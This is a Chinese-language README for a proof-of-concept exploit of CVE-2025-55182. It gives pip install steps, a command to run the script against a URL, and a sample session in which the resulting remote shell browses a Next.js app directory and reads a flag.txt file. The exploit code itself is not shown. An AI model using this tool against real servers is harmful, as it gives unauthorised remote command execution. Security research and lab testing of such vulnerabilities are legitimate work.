CVE-2025-55182

针对 CVE-2025-55182 的概念验证漏洞利用程序。 利用成功后，它会通过 HTTP-POST 请求在远程目标上模拟一个 shell。 同时支持 HTTP 和 HTTPS，但会跳过所有证书检查。 仅支持使用绝对路径切换目录。

使用方法

1. 安装依赖。

# 全局安装
pipx install requests

# 仅在当前目录安装
python -m venv .
. bin/activate
pip install requests

2. 运行漏洞利用程序。

python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'

示例

成功运行时，输出应类似如下内容：

╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.

/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG